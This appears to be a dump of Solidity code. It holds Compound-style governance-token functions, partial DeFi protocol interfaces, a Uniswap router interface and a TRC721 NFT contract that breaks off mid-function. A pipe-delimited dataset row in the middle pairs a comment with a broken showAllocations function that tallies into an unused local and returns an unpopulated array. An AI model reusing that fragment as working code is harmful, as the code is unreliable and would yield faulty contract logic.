function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Comp::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "Comp::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Comp::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Comp::delegateBySig: invalid nonce");
require(now <= expiry, "Comp::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "Comp::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "Comp::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "Comp::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "Comp::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "Comp::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "Comp::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "Comp::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Comp::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
import '../../ERC20/IERC20.sol';
// https://etherscan.io/address/0x5f18C75AbDAe578b483E5F43f12a39cF75b973a9
// Some functions were omitted for brevity. See the contract for details
interface IyUSDC_V2_Partial is IERC20 {
function balance() external returns (uint);
function available() external returns (uint);
function earn() external;
function deposit(uint _amount) external;
function withdraw(uint _shares) external;
function pricePerShare() external view returns (uint);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
import '../../ERC20/IERC20.sol';
// Original at https://etherscan.io/address/0xc6845a5c768bf8d7681249f8927877efda425baf#code
// Address [0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9] used is a proxy
// Some functions were omitted for brevity. See the contract for details
interface IAAVELendingPool_Partial is IERC20 {
/**
* @dev Deposits an `amount` of underlying asset into the reserve, receiving in return overlying aTokens.
* - E.g. User deposits 100 USDC and gets in return 100 aUSDC
* @param asset The address of the underlying asset to deposit
* @param amount The amount to be deposited
* @param onBehalfOf The address that will receive the aTokens, same as msg.sender if the user
* wants to receive them on his own wallet, or a different address if the beneficiary of aTokens
* is a different wallet
* @param referralCode Code used to register the integrator originating the operation, for potential rewards.
* 0 if the action is executed directly by the user, without any middle-man
**/
function deposit(
address asset,
uint256 amount,
address onBehalfOf,
uint16 referralCode
) external;
/**
* @dev Withdraws an `amount` of underlying asset from the reserve, burning the equivalent aTokens owned
* E.g. User has 100 aUSDC, calls withdraw() and receives 100 USDC, burning the 100 aUSDC
* @param asset The address of the underlying asset to withdraw
* @param amount The underlying amount to be withdrawn
* - Send the value type(uint256).max in order to withdraw the whole aToken balance
* @param to Address that will receive the underlying, same as msg.sender if the user
* wants to receive it on his own wallet, or a different address if the beneficiary is a
* different wallet
* @return The final amount withdrawn
**/
function withdraw(
address asset,
uint256 amount,
address to
) external returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
import '../../ERC20/IERC20.sol';
// Original at https://etherscan.io/address/0xbCe3076b0d8EB2f640D4089A4929fE8c1a438213#code
// Address [0xBcca60bB61934080951369a648Fb03DF4F96263C] used is a proxy
// Some functions were omitted for brevity. See the contract for details
interface IAAVE_aUSDC_Partial is IERC20 {
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
// Original at https://etherscan.io/address/0xbe7616B06f71e363A310Aa8CE8aD99654401ead7#code
// Address [0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B] used is a proxy
// Some functions were omitted for brevity. See the contract for details
interface ICompComptrollerPartial {
function claimComp(address holder) external;
function claimComp(address holder, address[] memory cTokens) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
import '../../ERC20/IERC20.sol';
// Original at https://etherscan.io/address/0x39aa39c021dfbae8fac545936693ac917d5e7563#code
// Some functions were omitted for brevity. See the contract for details
// https://compound.finance/docs/ctokens
interface IcUSDC_Partial is IERC20 {
function mint(uint mintAmount) external returns (uint);
// redeemAmount = # of cUSDC
function redeem(uint redeemAmount) external returns (uint);
// redeemAmount = # of USDC
function redeemUnderlying(uint redeemAmount) external returns (uint);
// Multiply this by the E8 balance of cUSDC, then divide the product by E16
function exchangeRateStored() external view returns (uint);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
import './IUniswapV2Router01.sol';
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function transferFrom(address src, address dst, uint wad) external returns (bool);
function withdraw(uint) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
|
IMPORTANT Should ONLY be used externally, because it may fail if any one of the functions below fail All numbers given are assuming xyzUSDC, etc. is converted back to actual USDC
|
function showAllocations() external view returns (uint256[5] memory allocations) {
uint256 sum_tally = 0;
for (uint i = 1; i < 5; i++){
if (allocations[i] > 0){
sum_tally = sum_tally.add(allocations[i]);
}
}
}
| 221,156 |
pragma solidity ^0.5.15;
// SPDX-License-Identifier: Apache-2.0
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
library Address {
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library Counters {
using SafeMath for uint256;
struct Counter {
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
contract MinterRole is Context {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(_msgSender());
}
modifier onlyMinter() {
require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(_msgSender());
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
interface ITRC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
contract ITRC721 is ITRC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function safeTransferFrom(address from, address to, uint256 tokenId) public;
function transferFrom(address from, address to, uint256 tokenId) public;
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
contract ITRC721Metadata is ITRC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
contract ITRC721Receiver {
function onTRC721Received(address operator, address from, uint256 tokenId, bytes memory data)
public returns (bytes4);
}
contract TRC165 is ITRC165 {
bytes4 private constant _INTERFACE_ID_TRC165 = 0x01ffc9a7;
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
_registerInterface(_INTERFACE_ID_TRC165);
}
function supportsInterface(bytes4 interfaceId) external view returns (bool) {
return _supportedInterfaces[interfaceId];
}
function _registerInterface(bytes4 interfaceId) internal {
require(interfaceId != 0xffffffff, "TRC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
contract TRC721 is Context, TRC165, ITRC721 {
using SafeMath for uint256;
using Address for address;
using Counters for Counters.Counter;
// Equals to `bytes4(keccak256("onTRC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `ITRC721Receiver(0).onTRC721Received.selector`
//
// NOTE: TRC721 uses 0x150b7a02, TRC721 uses 0x5175f878.
bytes4 private constant _TRC721_RECEIVED = 0x5175f878;
// Mapping from token ID to owner
mapping (uint256 => address) private _tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => Counters.Counter) private _ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_TRC721 = 0x80ac58cd;
constructor () public {
// register the supported interfaces to conform to TRC721 via TRC165
_registerInterface(_INTERFACE_ID_TRC721);
}
function balanceOf(address owner) public view returns (uint256) {
require(owner != address(0), "TRC721: balance query for the zero address");
return _ownedTokensCount[owner].current();
}
function ownerOf(uint256 tokenId) public view returns (address) {
address owner = _tokenOwner[tokenId];
require(owner != address(0), "TRC721: owner query for nonexistent token");
return owner;
}
function approve(address to, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(to != owner, "TRC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"TRC721: approve caller is not owner nor approved for all"
);
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
function getApproved(uint256 tokenId) public view returns (address) {
require(_exists(tokenId), "TRC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address to, bool approved) public {
require(to != _msgSender(), "TRC721: approve to caller");
_operatorApprovals[_msgSender()][to] = approved;
emit ApprovalForAll(_msgSender(), to, approved);
}
function isApprovedForAll(address owner, address operator) public view returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(address from, address to, uint256 tokenId) public {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "TRC721: transfer caller is not owner nor approved");
_transferFrom(from, to, tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId) public {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public {
require(_isApprovedOrOwner(_msgSender(), tokenId), "TRC721: transfer caller is not owner nor approved");
_safeTransferFrom(from, to, tokenId, _data);
}
function _safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) internal {
_transferFrom(from, to, tokenId);
require(_checkOnTRC721Received(from, to, tokenId, _data), "TRC721: transfer to non TRC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view returns (bool) {
address owner = _tokenOwner[tokenId];
return owner != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
require(_exists(tokenId), "TRC721: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
function _safeMint(address to, uint256 tokenId) internal {
_safeMint(to, tokenId, "");
}
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal {
_mint(to, tokenId);
require(_checkOnTRC721Received(address(0), to, tokenId, _data), "TRC721: transfer to non TRC721Receiver implementer");
}
function _mint(address to, uint256 tokenId) internal {
require(to != address(0), "TRC721: mint to the zero address");
require(!_exists(tokenId), "TRC721: token already minted");
_tokenOwner[tokenId] = to;
_ownedTokensCount[to].increment();
emit Transfer(address(0), to, tokenId);
}
function _burn(address owner, uint256 tokenId) internal {
require(ownerOf(tokenId) == owner, "TRC721: burn of token that is not own");
_clearApproval(tokenId);
_ownedTokensCount[owner].decrement();
_tokenOwner[tokenId] = address(0);
emit Transfer(owner, address(0), tokenId);
}
function _burn(uint256 tokenId) internal {
_burn(ownerOf(tokenId), tokenId);
}
function _transferFrom(address from, address to, uint256 tokenId) internal {
require(ownerOf(tokenId) == from, "TRC721: transfer of token that is not own");
require(to != address(0), "TRC721: transfer to the zero address");
_clearApproval(tokenId);
_ownedTokensCount[from].decrement();
_ownedTokensCount[to].increment();
_tokenOwner[tokenId] = to;
emit Transfer(from, to, tokenId);
}
function isContract(address _addr) private view returns (bool){
uint32 size;
assembly {
size := extcodesize(_addr)
}
return (size > 0);
}
function _checkOnTRC721Received(address from, address to, uint256 tokenId, bytes memory _data)
internal returns (bool)
{
if (!isContract(to)) {
return true;
}
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = to.call(abi.encodeWithSelector(
ITRC721Receiver(to).onTRC721Received.selector,
_msgSender(),
from,
tokenId,
_data
));
if (!success) {
if (returndata.length > 0) {
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert("TRC721: transfer to non TRC721Receiver implementer");
}
} else {
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _TRC721_RECEIVED);
}
}
function _clearApproval(uint256 tokenId) private {
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
}
contract TRC721Metadata is Context, TRC165, TRC721, ITRC721Metadata {
// Token name
string private _name;
// Token symbol
string private _symbol;
// Base URI
string private _baseURI;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_TRC721_METADATA = 0x5b5e139f;
constructor (string memory name, string memory symbol, string memory baseURI) public {
_name = name;
_symbol = symbol;
_baseURI = baseURI;
_registerInterface(_INTERFACE_ID_TRC721_METADATA);
}
function name() external view returns (string memory) {
return _name;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) external view returns (string memory) {
require(_exists(tokenId), "TRC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
// Even if there is a base URI, it is only appended to non-empty token-specific URIs
if (bytes(_tokenURI).length == 0) {
return "";
} else {
// abi.encodePacked is being used to concatenate strings
return string(abi.encodePacked(_baseURI, _tokenURI));
}
}
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal {
require(_exists(tokenId), "TRC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
function _setBaseURI(string memory baseURI) internal {
_baseURI = baseURI;
}
function baseURI() external view returns (string memory) {
return _baseURI;
}
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
contract TRC721MetadataMintable is TRC721, TRC721Metadata, MinterRole {
function updateBaseURI(string memory baseURI) public onlyMinter returns(bool){
_setBaseURI(baseURI);
return true;
}
function mintWithTokenURI(address to, uint256 tokenId, string memory tokenURI) public onlyMinter returns (bool) {
_mint(to, tokenId);
_setTokenURI(tokenId, tokenURI);
return true;
}
function updateTokenURI(uint256 tokenId, string memory tokenURI) public onlyMinter returns (bool) {
_setTokenURI(tokenId, tokenURI);
return true;
}
}
contract TRC721Mintable is TRC721, MinterRole {
function mint(address to, uint256 tokenId) public onlyMinter returns (bool) {
_mint(to, tokenId);
return true;
}
function safeMint(address to, uint256 tokenId) public onlyMinter returns (bool) {
_safeMint(to, tokenId);
return true;
}
function safeMint(address to, uint256 tokenId, bytes memory _data) public onlyMinter returns (bool) {
_safeMint(to, tokenId, _data);
return true;
}
}
contract ITRC721Enumerable is ITRC721 {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256 tokenId);
function tokenByIndex(uint256 index) public view returns (uint256);
}
contract TRC721Enumerable is Context, TRC165, TRC721, ITRC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_TRC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Constructor function.
*/
constructor () public {
// register the supported interface to conform to TRC721Enumerable via TRC165
_registerInterface(_INTERFACE_ID_TRC721_ENUMERABLE);
}
function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256) {
require(index < balanceOf(owner), "TRC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
function totalSupply() public view returns (uint256) {
return _allTokens.length;
}
function tokenByIndex(uint256 index) public view returns (uint256) {
require(index < totalSupply(), "TRC721Enumerable: global index out of bounds");
return _allTokens[index];
}
function _transferFrom(address from, address to, uint256 tokenId) internal {
super._transferFrom(from, to, tokenId);
_removeTokenFromOwnerEnumeration(from, tokenId);
_addTokenToOwnerEnumeration(to, tokenId);
}
function _mint(address to, uint256 tokenId) internal {
super._mint(to, tokenId);
_addTokenToOwnerEnumeration(to, tokenId);
_addTokenToAllTokensEnumeration(tokenId);
}
function _burn(address owner, uint256 tokenId) internal {
